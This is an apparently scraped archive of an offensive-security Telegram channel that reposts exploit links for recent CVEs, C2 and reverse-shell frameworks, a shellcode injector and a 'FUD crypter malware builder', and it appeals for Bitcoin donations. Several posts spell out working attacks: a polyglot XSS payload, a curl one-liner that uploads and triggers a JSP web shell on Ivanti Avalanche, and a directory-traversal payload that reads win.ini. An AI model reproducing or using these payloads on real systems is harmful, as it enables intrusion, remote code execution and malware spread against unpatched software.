996
订阅者
无数据24 小时
无数据7 天
无数据30 天
帖子存档
\\74k\n
+1+1+1
996
💀NtRemoteLoad : Remote Shellcode Injector
⛓Repo : https://github.com/florylsk/NtRemoteLoad
⛔#shellcode
📱@APTANALYSIS
996
💰Bitcoin Wallet :
bc1q2lszqp7rv98ur8dsnz3p2my8qp4qhma0sfee38
💲Charging status : 🔺
❕Donate :
We need financial help to expand the activity and initial expenses. Thanks
996
💪gym
JavaScript://%250Aconfirm?.(1)/
/*'/*\'/*"/*\"/*
/*\/*%26apos;)/*</Title/</Style/</Script/</textArea/<iFrame/
</noScript>\74k<K/contentEditable/autoFocus/
OnFocus=/*${/*/;{/**/(confirm)(1)}//>
<Base/Href=//X55.is\76>
https://brutelogic.com.br/gym.php
⛔#MOD_XSS
📱@APTANALYSIS996
Repost from .....
🔥🔥🔥CVE-2023-38831 : WinRAR < 6.23 - Attribute Code Execution
🟢POC : https://github.com/b1tg/CVE-2023-38831-winrar-exploit
🐈⬛NIST : https://nvd.nist.gov/vuln/detail/CVE-2023-38831
✅TEST : Proof of concept has been tested on Windows 10 x64 & WinRAR v6.10
📱@APTIRAN
996
🎁CVE-2023-38831 : WinRAR < 6.23 - Attribute code execution
🟢POC :
⭐️1. https://github.com/b1tg/CVE-2023-38831-winrar-exploit
⭐️2. https://github.com/ZenNotMovie/cve-2023-winrar
⭐️3. https://github.com/BoredHackerBlog/winrar_CVE-2023-38831_lazy_poc
⚠️Warning: Not tested
⛔#Exploit
📱@APTANALYSIS
996
🟥CVE-2023-32563 : Ivanti Avalanche - Unauthenticated Remote Code Execution
curl -v http://192.168.56.101:1900/Servlet/Skins -F guid=../../../Web/webapps/ROOT -F "file=@-;filename=x.jsp" <<<'<%Runtime.getRuntime().exec(request.getParameter("c"));%>' -: -k https://192.168.56.101:8443/x.jsp -d c=mspaint.exe
"POST /Servlet/Skins" in C:\Program Files\Wavelink\Avalanche\RemoteControl\logs\jetty-*.request.log
🐈⬛CVE-2023-38035 : MobileIron Sentry - information extraction
➡️go : https://github.com/LeakIX/sentryexploit
⛔#Exploit , #PoC
📱@APTANALYSIS996
+1⭐️A Beginner’s Guide to Adversary Emulation with Caldera
🗣️Post : https://blog.nviso.eu/2023/08/25/a-beginners-guide-to-adversary-emulation-with-caldera/
⭐️Unlocking the power of Red Teaming: An overview of trainings and certifications
🗣️Post : https://blog.nviso.eu/2023/07/31/unlocking-the-power-of-red-teaming-an-overview-of-trainings-and-certifications/
⛔#RedTeam . #Offensive , #Guid , #C2
📱@APTANALYSIS
996
🤔CVE-2023-27159 : Appwrite <= 1.2.1 - Unauthenticated Server-Side Request Forgery (SSRF)
🟢POC / BLOG : https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
⛔#Exploit , #PoC
📱@APTANALYSIS
996
🔥CVE-2023-36844 : Juniper JunOS within SRX and EX Series products - Remote Code Execution (RCE IN Juniper Firewalls)
💥CVEs : CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847
🔴Blog : https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
🟢POC : https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
⛔#Exploit , #ANALYSIS
📱@APTANALYSIS
996
😠Villain is a C2 framework that can handle multiple TCP socket & HoaxShell-based reverse shells, enhance their functionality with additional features (commands, utilities etc) and share them among connected sibling servers (Villain instances running on different machines).
⭐️Repo : https://github.com/t3l3machus/Villain
⛔#C2 , #RedTeam , #Offensive
📱@APTANALYSIS
996
🔔CVE-2023-30943 : Moodle <= 4.2.0 - Arbitrary folder creation (Stored-XSS) to RCE
⭐️Link : https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/
⛔#Hunting
📱@APTANALYSIS
996
⭐️CVE-2023-39026: FileMage Gateway <= 1.10.9 - Directory Traversal
Payload : /mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5 cwindows%5cwin.ini
⛔#Exploit
📱@APTANALYSIS
996
🟢Bypassing Bitlocker using a cheap logic analyzer
🗣️Link : https://www.errno.fr/BypassingBitlocker
⛔#Bypass
📱@APTANALYSIS
996
🐈CVE-2023-38035 : Ivanti Sentry Authentication Bypass Deep Dive
Blog : https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/
POC : https://github.com/horizon3ai/CVE-2023-38035
⛔#Exploit , #ANALYSIS
📱@APTANALYSIS
996
+1🔥CVE-2023-26256 & -/-/26255 :
STAGIL Navigation - Menu & Themes plugin <= 2.0.52 for Jira - Unauthenticated Path Traversal
🟢POC : https://github.com/aodsec/CVE-2023-26256
⛔#Exploit
📱@APTANALYSIS
996
🖥Successive / repetition
🐈⬛CVE-2023-27532 : Veeam Backup and Replication
🔴POC : https://github.com/horizon3ai/CVE-2023-27532
🔴POC : https://github.com/sfewer-r7/CVE-2023-27532
🐈⬛CVE-2023-32315 : Openfire
🔴POC : https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
🐈⬛CVE-2021-21974 & CVE-2020-3992: VMware ESXi OpenSLP
🔴1 : https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
🔴2 : https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/
🔴3 : https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
🔴POC : https://github.com/Shadow0ps/CVE-2021-21974
🔴POC : https://github.com/straightblast/My-PoC-Exploits/blob/master/CVE-2021-21974.py
⛔#Exploit , #Ransomware , #ANALYSIS
📱@APTANALYSIS
996
🙂Photo Exploit Downloader FUD Crypter Malware Builder
REPO : https://github.com/benedixX0/Jpg-Png-Exploit-Downloader-Fud-Cryter-Malware-Builder-Cve-2023
⚠️Be careful, it has not been tested.
⛔#TOOLS , #EXP
📱@APTANALYSIS
996
+1🔥CVE-2023-31492 : Zoho ManageEngine ADManager Plus Build 7180 - Recovery Password Disclosure - ZVE-2023-0176
🟢POC : https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
⛔#Exploit
📱@APTANALYSIS
996
🔔BugBounty Tips :
🗣️Stored XSS Filter Bypass in the Skills section
➡️Write-Up : https://xalgord.medium.com/stored-xss-filter-bypass-in-the-skills-section-7bf5e33c8ace
👩💻Nuclei Template Editor - AI-powered hub to create, debug, scan, and store templates. Collaborate effortlessly with your team and community.
➡️Editor: https://templates.nuclei.sh
➡️Docs: https://docs.nuclei.sh/editor
😵The only graphQL wordlist you need, ML bug hunting and VDP submissions
🗣️intigriti : https://blog.intigriti.com/2023/08/23/bug-bytes-209-the-only-graphql-wordlist-you-need-ml-bug-hunting-and-vdp-submissions/
⛔#Bug_Bounty , #Hunting
📱@APTANALYSIS
